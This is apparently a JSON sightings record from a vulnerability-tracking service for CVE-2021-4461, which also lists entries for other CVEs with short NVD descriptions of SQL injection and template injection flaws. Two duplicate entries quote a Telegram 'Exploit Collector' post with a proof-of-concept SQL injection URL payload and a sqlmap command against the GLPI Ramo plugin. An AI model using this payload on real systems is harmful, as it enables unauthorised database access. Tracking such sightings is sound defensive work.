{"vulnerability": "cve-2021-4461", "sightings": [{"uuid": "0c4211ff-af5d-412e-a21a-83015341fd44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-4461", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m4gx3w6gi42b", "content": "", "creation_timestamp": "2025-10-30T21:52:26.937140Z"}, {"uuid": "5abacf90-9405-482a-bb3c-f1e20a962b4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-4461", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m4tgnbv2dp26", "content": "", "creation_timestamp": "2025-11-04T21:02:32.754762Z"}, {"uuid": "be0fa9a4-b3e1-4053-b56d-0df658580c68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44617", "type": "seen", "source": "https://t.me/cibsecurity/39625", "content": "\u203c CVE-2021-44617 \u203c\n\nA SQL Injection vulnerability exits in the Ramo plugin for GLPI 9.4.6 via the idu parameter in plugins/ramo/ramoapirest.php/getOutdated.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-28T07:39:52.000000Z"}, {"uuid": "34fb3a25-c7cc-4ab0-934d-3e3facb4e4f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44618", "type": "seen", "source": "https://t.me/cibsecurity/38791", "content": "\u203c CVE-2021-44618 \u203c\n\nA Server-side Template Injection (SSTI) vulnerability exists in Nystudio107 Seomatic 3.4.12 in src/helpers/UrlHelper.php via the host header.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-11T18:14:45.000000Z"}, {"uuid": "604742ed-6d02-4470-92f2-36e9bdf98ebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44610", "type": "seen", "source": "https://t.me/cibsecurity/38022", "content": "\u203c CVE-2021-44610 \u203c\n\nMultiple SQL Injection vulnerabilities exist in bloofoxCMS 0.5.2.1 - 0.5.1 via the (1) URLs, (2) lang_id, (3) tmpl_id, (4) mod_rewrite (5) eta_doctype. (6) meta_charset, (7) default_group, and (8) page group parameters in the settings mode in admin/index.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-24T18:21:35.000000Z"}, {"uuid": "fac86966-cb55-487d-a49f-9f9ff231d71a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-4461", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c7c03fa2-b5fb-4ba2-9664-0e387039139b", "content": "", "creation_timestamp": "2026-06-19T12:45:22.967973Z"}, {"uuid": "41429924-2562-4248-baf8-2726e476c7a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44617", "type": "seen", "source": "https://t.me/hacking_Attack/46278", "content": "Exploit Collector\nBaixar GLPI Project 9.4.6 SQL Injection\n\nhttps://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png \nBaixar GLPI Project 9.4.6 suffers from a remote SQL injection vulnerability.\n\nMD5 | 26ad8734c5ba0d90f45a96375b55ccde\n\nDownload\n# Exploit Title: Baixar GLPI Project 9.4.6 - SQLi\n# Date: 10/12\n# Exploit Author: Joas Antonio\n# Vendor Homepage: https://glpi-project.org/pt-br/ <https:\n# Software Link: https://glpi-project.org/pt-br/baixar/\n# Version: GLPI - 9.4.6\n# Tested on: Windows/Linux\n# CVE : CVE-2021-44617\n\n#POC1:\nplugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111\n\nsqlmap -u \"url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1\"\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:50.991091Z"}, {"uuid": "9c61185b-2baa-4775-aeb2-355be1e1caa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44617", "type": "seen", "source": "https://t.me/hacking_Attack/46278", "content": "Exploit Collector\nBaixar GLPI Project 9.4.6 SQL Injection\n\nhttps://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png \nBaixar GLPI Project 9.4.6 suffers from a remote SQL injection vulnerability.\n\nMD5 | 26ad8734c5ba0d90f45a96375b55ccde\n\nDownload\n# Exploit Title: Baixar GLPI Project 9.4.6 - SQLi\n# Date: 10/12\n# Exploit Author: Joas Antonio\n# Vendor Homepage: https://glpi-project.org/pt-br/ <https:\n# Software Link: https://glpi-project.org/pt-br/baixar/\n# Version: GLPI - 9.4.6\n# Tested on: Windows/Linux\n# CVE : CVE-2021-44617\n\n#POC1:\nplugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111\n\nsqlmap -u \"url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1\"\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:03.729612Z"}]}